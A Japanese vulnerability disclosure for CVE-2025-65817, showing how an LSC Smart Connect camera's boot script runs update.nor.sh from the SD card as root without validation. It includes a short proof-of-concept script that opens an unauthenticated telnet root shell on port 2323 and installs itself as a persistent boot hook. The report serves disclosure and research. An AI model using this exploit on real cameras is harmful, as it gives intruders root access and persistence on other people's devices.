CVE-2025-65817

LSCスマートコネクトカメラの脆弱性レポート

発見された脆弱性は、start_app.sh の更新システムを悪用するものであり、より正確にはSDカードのマウントと update.nor.sh ファイルを介して悪用されます。

設定変数

# routines of sd-card
# /mnt is for backword compatible
SDC_DIR=/mnt
SDC_HOOK=$SDC_DIR/update.nor.sh
SDC_FLAG_DEBUG=$SDC_DIR/__ipc_debug.ini
TMP_HOOK=/tmp/update.nor.sh
SENSOR_ISP_HOOK=$SDC_DIR/ISP/*t23.bin
# debug core-dump
WHERE_COREDMP="/mnt/sdc/coredmp"
WHERE_EXEC="/usr/local/bin/doraemon"

local/sbin/start_app.sh:50–99 のセクションは、SDカード上にある update.nor.sh という名前のファイルを盲目的に信頼します。起動プロセス中、スクリプトは：

• SDカードをマウントし、
• update.nor.sh を /tmp/update.nor.sh にコピーし、
• その内容、整合性、権限、所有権を一切検証しません。

起動シーケンスの後半（local/sbin/start_app.sh:108–129）では、コピーされたファイルは：

• 実行可能としてマークされ、
• rootとして実行され、
• SDカードのマウントポイントを引数として渡されて実行されます。

この実行はメインの ipc_service が開始する前に行われるため、スクリプトはネットワークユーティリティ、ウォッチドッグ機能、アップグレードヘルパーがすでに利用可能な最高権限環境で実行されます。

利用可能なユーティリティ

このエクスプロイトは、カメラに存在するtelnetdを介してシェルを作成し、ポートを開くというものです：

/bin # busybox --list
[...]
sh
sleep
swapoff
syslogd
tail
tar
tcpsvd
telnetd
[...]

概念実証（PoC）

SDカードに .sh スクリプトを書き込み、update.nor.sh という名前を付けるだけです。

私が選択したエクスプロイトは次のとおりです：

#!/bin/sh

telnetd -l /bin/sh -p 2323 &

echo "Telnet start by update.nor.sh" > /tmp/exploit_success

cp /mnt/update.nor.sh /mnt/config/hook-boot.sh

date > /tmp/exploit_time

ポートが開いていることを確認します。

telnetで接続します：